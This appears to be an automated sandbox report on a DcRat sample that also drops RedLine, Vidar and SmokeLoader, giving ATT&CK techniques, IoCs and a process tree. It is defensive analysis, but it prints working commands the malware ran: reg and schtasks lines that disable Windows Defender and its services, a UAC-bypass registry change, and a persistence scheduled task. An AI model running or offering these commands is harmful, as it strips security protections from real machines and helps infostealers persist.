dcrat | 65cf72308f44dddd6e43beaa049dc4f14baf72449b791c10c0156f08b84337eb

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4884-276-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 14 IoCs

Processes:

56FA.exe5B80.exe6BDC.exe6D83.exe56FA.exe56FA.exe56FA.exebuild2.exebuild3.exebuild2.exemstsca.exe6D83.exe6D83.exe6D83.exe

pid	process
3176	56FA.exe
1984	5B80.exe
2716	6BDC.exe
3408	6D83.exe
4284	56FA.exe
1932	56FA.exe
4516	56FA.exe
4416	build2.exe
2112	build3.exe
4712	build2.exe
176	mstsca.exe
3348	6D83.exe
3040	6D83.exe
4884	6D83.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

56FA.exe56FA.exe6D83.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	56FA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	56FA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	6D83.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

784 regsvr32.exe
4712 build2.exe
4712 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

3036 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
784	regsvr32.exe
4712	build2.exe
4712	build2.exe

pid	process
3036	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

56FA.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\e9ae40f1-ca91-4812-ac16-f927e12ff27f\\56FA.exe\" --AutoStart"	56FA.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

56 api.2ip.ua
48 api.2ip.ua
49 api.2ip.ua

flow	ioc
56	api.2ip.ua
48	api.2ip.ua
49	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

56FA.exe56FA.exebuild2.exe6D83.exe

description	pid	process	target process
PID 3176 set thread context of 4284	3176	56FA.exe	56FA.exe
PID 1932 set thread context of 4516	1932	56FA.exe	56FA.exe
PID 4416 set thread context of 4712	4416	build2.exe	build2.exe
PID 3408 set thread context of 4884	3408	6D83.exe	6D83.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

file.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1104 schtasks.exe
4944 schtasks.exe

pid	process
1104	schtasks.exe
4944	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

file.exe

pid	process
1584	file.exe
1584	file.exe
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
2440
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2440
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2440
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2440
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2440
2440
2440
2440
2440
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2440
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2440
2440

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2440
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

file.exe

pid process

1584 file.exe
2440
2440
2440
2440

pid	process
2440

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

6D83.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	3408	6D83.exe
Token: SeIncreaseQuotaPrivilege	3840	wmic.exe
Token: SeSecurityPrivilege	3840	wmic.exe
Token: SeTakeOwnershipPrivilege	3840	wmic.exe
Token: SeLoadDriverPrivilege	3840	wmic.exe
Token: SeSystemProfilePrivilege	3840	wmic.exe
Token: SeSystemtimePrivilege	3840	wmic.exe
Token: SeProfSingleProcessPrivilege	3840	wmic.exe
Token: SeIncBasePriorityPrivilege	3840	wmic.exe
Token: SeCreatePagefilePrivilege	3840	wmic.exe
Token: SeBackupPrivilege	3840	wmic.exe
Token: SeRestorePrivilege	3840	wmic.exe
Token: SeShutdownPrivilege	3840	wmic.exe
Token: SeDebugPrivilege	3840	wmic.exe
Token: SeSystemEnvironmentPrivilege	3840	wmic.exe
Token: SeRemoteShutdownPrivilege	3840	wmic.exe
Token: SeUndockPrivilege	3840	wmic.exe
Token: SeManageVolumePrivilege	3840	wmic.exe
Token: 33	3840	wmic.exe
Token: 34	3840	wmic.exe
Token: 35	3840	wmic.exe
Token: 36	3840	wmic.exe
Token: SeIncreaseQuotaPrivilege	3840	wmic.exe
Token: SeSecurityPrivilege	3840	wmic.exe
Token: SeTakeOwnershipPrivilege	3840	wmic.exe
Token: SeLoadDriverPrivilege	3840	wmic.exe
Token: SeSystemProfilePrivilege	3840	wmic.exe
Token: SeSystemtimePrivilege	3840	wmic.exe
Token: SeProfSingleProcessPrivilege	3840	wmic.exe
Token: SeIncBasePriorityPrivilege	3840	wmic.exe
Token: SeCreatePagefilePrivilege	3840	wmic.exe
Token: SeBackupPrivilege	3840	wmic.exe
Token: SeRestorePrivilege	3840	wmic.exe
Token: SeShutdownPrivilege	3840	wmic.exe
Token: SeDebugPrivilege	3840	wmic.exe
Token: SeSystemEnvironmentPrivilege	3840	wmic.exe
Token: SeRemoteShutdownPrivilege	3840	wmic.exe
Token: SeUndockPrivilege	3840	wmic.exe
Token: SeManageVolumePrivilege	3840	wmic.exe
Token: 33	3840	wmic.exe
Token: 34	3840	wmic.exe
Token: 35	3840	wmic.exe
Token: 36	3840	wmic.exe
Token: SeShutdownPrivilege	2440
Token: SeCreatePagefilePrivilege	2440
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeIncreaseQuotaPrivilege	2492	WMIC.exe
Token: SeSecurityPrivilege	2492	WMIC.exe
Token: SeTakeOwnershipPrivilege	2492	WMIC.exe
Token: SeLoadDriverPrivilege	2492	WMIC.exe
Token: SeSystemProfilePrivilege	2492	WMIC.exe
Token: SeSystemtimePrivilege	2492	WMIC.exe
Token: SeProfSingleProcessPrivilege	2492	WMIC.exe
Token: SeIncBasePriorityPrivilege	2492	WMIC.exe
Token: SeCreatePagefilePrivilege	2492	WMIC.exe
Token: SeBackupPrivilege	2492	WMIC.exe
Token: SeRestorePrivilege	2492	WMIC.exe
Token: SeShutdownPrivilege	2492	WMIC.exe
Token: SeDebugPrivilege	2492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2492	WMIC.exe
Token: SeRemoteShutdownPrivilege	2492	WMIC.exe
Token: SeUndockPrivilege	2492	WMIC.exe
Token: SeManageVolumePrivilege	2492	WMIC.exe
Token: 33	2492	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exe5B80.exe6D83.execmd.exe56FA.execmd.exe56FA.exe56FA.exe

description	pid	process	target process
PID 2440 wrote to memory of 4828	2440		regsvr32.exe
PID 2440 wrote to memory of 4828	2440		regsvr32.exe
PID 4828 wrote to memory of 784	4828	regsvr32.exe	regsvr32.exe
PID 4828 wrote to memory of 784	4828	regsvr32.exe	regsvr32.exe
PID 4828 wrote to memory of 784	4828	regsvr32.exe	regsvr32.exe
PID 2440 wrote to memory of 3176	2440		56FA.exe
PID 2440 wrote to memory of 3176	2440		56FA.exe
PID 2440 wrote to memory of 3176	2440		56FA.exe
PID 2440 wrote to memory of 1984	2440		5B80.exe
PID 2440 wrote to memory of 1984	2440		5B80.exe
PID 2440 wrote to memory of 1984	2440		5B80.exe
PID 2440 wrote to memory of 2716	2440		6BDC.exe
PID 2440 wrote to memory of 2716	2440		6BDC.exe
PID 2440 wrote to memory of 2716	2440		6BDC.exe
PID 2440 wrote to memory of 3408	2440		6D83.exe
PID 2440 wrote to memory of 3408	2440		6D83.exe
PID 2440 wrote to memory of 3408	2440		6D83.exe
PID 2440 wrote to memory of 1688	2440		explorer.exe
PID 2440 wrote to memory of 1688	2440		explorer.exe
PID 2440 wrote to memory of 1688	2440		explorer.exe
PID 2440 wrote to memory of 1688	2440		explorer.exe
PID 2440 wrote to memory of 3664	2440		explorer.exe
PID 2440 wrote to memory of 3664	2440		explorer.exe
PID 2440 wrote to memory of 3664	2440		explorer.exe
PID 1984 wrote to memory of 3840	1984	5B80.exe	wmic.exe
PID 1984 wrote to memory of 3840	1984	5B80.exe	wmic.exe
PID 1984 wrote to memory of 3840	1984	5B80.exe	wmic.exe
PID 3408 wrote to memory of 2556	3408	6D83.exe	powershell.exe
PID 3408 wrote to memory of 2556	3408	6D83.exe	powershell.exe
PID 3408 wrote to memory of 2556	3408	6D83.exe	powershell.exe
PID 1984 wrote to memory of 952	1984	5B80.exe	cmd.exe
PID 1984 wrote to memory of 952	1984	5B80.exe	cmd.exe
PID 1984 wrote to memory of 952	1984	5B80.exe	cmd.exe
PID 952 wrote to memory of 2492	952	cmd.exe	WMIC.exe
PID 952 wrote to memory of 2492	952	cmd.exe	WMIC.exe
PID 952 wrote to memory of 2492	952	cmd.exe	WMIC.exe
PID 1984 wrote to memory of 3260	1984	5B80.exe	cmd.exe
PID 1984 wrote to memory of 3260	1984	5B80.exe	cmd.exe
PID 1984 wrote to memory of 3260	1984	5B80.exe	cmd.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3176 wrote to memory of 4284	3176	56FA.exe	56FA.exe
PID 3260 wrote to memory of 4244	3260	cmd.exe	WMIC.exe
PID 3260 wrote to memory of 4244	3260	cmd.exe	WMIC.exe
PID 3260 wrote to memory of 4244	3260	cmd.exe	WMIC.exe
PID 4284 wrote to memory of 3036	4284	56FA.exe	icacls.exe
PID 4284 wrote to memory of 3036	4284	56FA.exe	icacls.exe
PID 4284 wrote to memory of 3036	4284	56FA.exe	icacls.exe
PID 4284 wrote to memory of 1932	4284	56FA.exe	56FA.exe
PID 4284 wrote to memory of 1932	4284	56FA.exe	56FA.exe
PID 4284 wrote to memory of 1932	4284	56FA.exe	56FA.exe
PID 1932 wrote to memory of 4516	1932	56FA.exe	56FA.exe
PID 1932 wrote to memory of 4516	1932	56FA.exe	56FA.exe
PID 1932 wrote to memory of 4516	1932	56FA.exe	56FA.exe
PID 1932 wrote to memory of 4516	1932	56FA.exe	56FA.exe
PID 1932 wrote to memory of 4516	1932	56FA.exe	56FA.exe
PID 1932 wrote to memory of 4516	1932	56FA.exe	56FA.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1584

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\5592.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\5592.dll
  2⤵
  - Loads dropped DLL
  PID:784

C:\Users\Admin\AppData\Local\Temp\56FA.exe
C:\Users\Admin\AppData\Local\Temp\56FA.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3176
- C:\Users\Admin\AppData\Local\Temp\56FA.exe
  C:\Users\Admin\AppData\Local\Temp\56FA.exe
  2⤵
  - DcRat
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\e9ae40f1-ca91-4812-ac16-f927e12ff27f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:3036
- - C:\Users\Admin\AppData\Local\Temp\56FA.exe
    "C:\Users\Admin\AppData\Local\Temp\56FA.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Users\Admin\AppData\Local\Temp\56FA.exe
      "C:\Users\Admin\AppData\Local\Temp\56FA.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:4516
    - - C:\Users\Admin\AppData\Local\b5ef63f1-f4bb-41e5-9fa8-522c0bc63cb7\build2.exe
        
        "C:\Users\Admin\AppData\Local\b5ef63f1-f4bb-41e5-9fa8-522c0bc63cb7\build2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4416
      - C:\Users\Admin\AppData\Local\b5ef63f1-f4bb-41e5-9fa8-522c0bc63cb7\build2.exe
        
        "C:\Users\Admin\AppData\Local\b5ef63f1-f4bb-41e5-9fa8-522c0bc63cb7\build2.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4712
    - - C:\Users\Admin\AppData\Local\b5ef63f1-f4bb-41e5-9fa8-522c0bc63cb7\build3.exe
        
        "C:\Users\Admin\AppData\Local\b5ef63f1-f4bb-41e5-9fa8-522c0bc63cb7\build3.exe"
        5⤵
        Executes dropped EXE
        
        PID:2112
      - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:1104

C:\Users\Admin\AppData\Local\Temp\5B80.exe
C:\Users\Admin\AppData\Local\Temp\5B80.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3840
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2492
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic cpu get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic cpu get name
    3⤵
    PID:4244

C:\Users\Admin\AppData\Local\Temp\6BDC.exe
C:\Users\Admin\AppData\Local\Temp\6BDC.exe
1⤵
- Executes dropped EXE
PID:2716

C:\Users\Admin\AppData\Local\Temp\6D83.exe
C:\Users\Admin\AppData\Local\Temp\6D83.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2556
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
  2⤵
  PID:480
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    3⤵
    PID:1464
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
    3⤵
    - UAC bypass
    PID:2456
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:4740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:900
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:1996
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2224
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4952
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2872
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4556
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3164
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:4524
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:3180
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:752
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:4280
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:1392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:3728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:3068
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:1404
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:2948
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:3748
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:1440
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4600
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:5068
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3324
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4672
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:4504
- C:\Users\Admin\AppData\Local\Temp\6D83.exe
  C:\Users\Admin\AppData\Local\Temp\6D83.exe
  2⤵
  - Executes dropped EXE
  PID:3348
- C:\Users\Admin\AppData\Local\Temp\6D83.exe
  C:\Users\Admin\AppData\Local\Temp\6D83.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Users\Admin\AppData\Local\Temp\6D83.exe
  C:\Users\Admin\AppData\Local\Temp\6D83.exe
  2⤵
  - Executes dropped EXE
  PID:4884

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:1688

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3664

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:176
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:4944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery